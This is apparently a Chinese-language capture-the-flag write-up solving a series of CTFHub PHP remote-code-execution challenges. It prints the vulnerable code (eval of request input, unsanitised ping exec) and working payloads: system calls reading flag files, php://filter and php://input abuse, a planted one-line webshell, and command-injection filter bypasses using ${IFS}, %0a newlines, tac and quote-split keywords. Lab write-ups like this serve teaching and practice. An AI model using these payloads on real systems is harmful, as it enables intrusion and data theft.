[TOC]

eval执行

1
2
3
4
5
6
7
 <?php
if (isset($_REQUEST['cmd'])) {
eval($_REQUEST["cmd"]);
} else {
highlight_file(__FILE__);
}
?>

没有任何绕过,直接执行

1
2
?cmd=system('ls /');
?cmd=system('cat /f*');

ctfhub{953435d20ae6652047e620c4}

文件包含

image-20241128231455539

审计代码,发现过滤了flag关键字,include包含文件的内容,根据提示,发现有个shell.txt文件,而且文件内容是接受传参请求,可以利用这个漏洞。

image-20241128234155787

所以思路就是文件包含shell.txt文件,然后传参触发eval函数来rce。

1
?file=shell.txt&ctfhub=system('cat /f*');

ctfhub{e95bf56ca09c475de96779f8}

php://input

image-20241128234417464

有个phpinfo()的网页,打开,搜索flag,没有。

根据提示使用php://input协议

image-20241128234916846

image-20241128234946005

ctfhub{fd2d24ec67a3d02745d252ec}

读取源代码

image-20241128235118224

根据代码和提示,要使用php协议读取目录/flag

直接使用filter协议读取,构造:

1
/?file=php://filter/convert.base64-encode/resource=/flag

ctfhub{ad11f5cf0c3528e0097fc84f}

远程包含

image-20241128235615623

跟上面的题目一样,直接使用php://input,然后写入一句话木马

image-20241129000043701

蚁剑连接,拿到flag

ctfhub{bc23c4d608ef1b89ff1d8564}

命令注入

1
2
3
4
5
6
7
8
<?php

$res = FALSE;

if (isset($_GET['ip']) && $_GET['ip']) {
$cmd = "ping -c 4 {$_GET['ip']}";
exec($cmd, $res);
}

可以看出来是一个ping网址的功能,先试试

1
127.0.0.1;ls -al

image-20250201210701699

打开278612477123991.php

image-20250201211032131

ctfhub{7c642fd3989abe8db46cf948}

过滤cat

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php

$res = FALSE;

if (isset($_GET['ip']) && $_GET['ip']) {
$ip = $_GET['ip'];
$m = [];
if (!preg_match_all("/cat/", $ip, $m)) {
$cmd = "ping -c 4 {$ip}";
exec($cmd, $res);
} else {
$res = $m;
}
}
?>

过滤了cat,但是可以用tac

ctfhub{7c7a18aea2905940e36dd90e}

过滤空格

过滤了空格可以用${IFS}代替

ctfhub{635b63dfee2f877be2058c7c}

过滤目录分隔符

过滤了目录分隔符,但是可以使用命令拼接来找flag

1
2
127.0.0.1;cd flag_is_here;ls -al
127.0.0.1;cd flag_is_here;cat flag_31274326351910.php

ctfhub{0a399fadb5bd0716775832b5}

过滤运算符

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php

$res = FALSE;

if (isset($_GET['ip']) && $_GET['ip']) {
$ip = $_GET['ip'];
$m = [];
if (!preg_match_all("/(\||\&)/", $ip, $m)) {
$cmd = "ping -c 4 {$ip}";
exec($cmd, $res);
} else {
$res = $m;
}
}
?>

过滤了|和&符号,但是可以用分号;

ctfhub{83f8b09d42bb7631282a83b4}

综合过滤练习

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php

$res = FALSE;

if (isset($_GET['ip']) && $_GET['ip']) {
$ip = $_GET['ip'];
$m = [];
if (!preg_match_all("/(\||&|;| |\/|cat|flag|ctfhub)/", $ip, $m)) {
$cmd = "ping -c 4 {$ip}";
exec($cmd, $res);
} else {
$res = $m;
}
}
?>

分析一下,过滤了|&; ,可以使用%0a来作为回车符使用,效果一样

过滤三个关键字cat,flag,ctfhub,可以使用两个单引号或者两个双引号绕过

过滤空格,可以使用${IFS}绕过

1
?ip=127.0.0.1%0als${IFS}-al%0acd${IFS}fla''g_is_here%0aca''t${IFS}f*

image-20241130130405955

ctfhub{cbff46daeb4e000265fb35d6}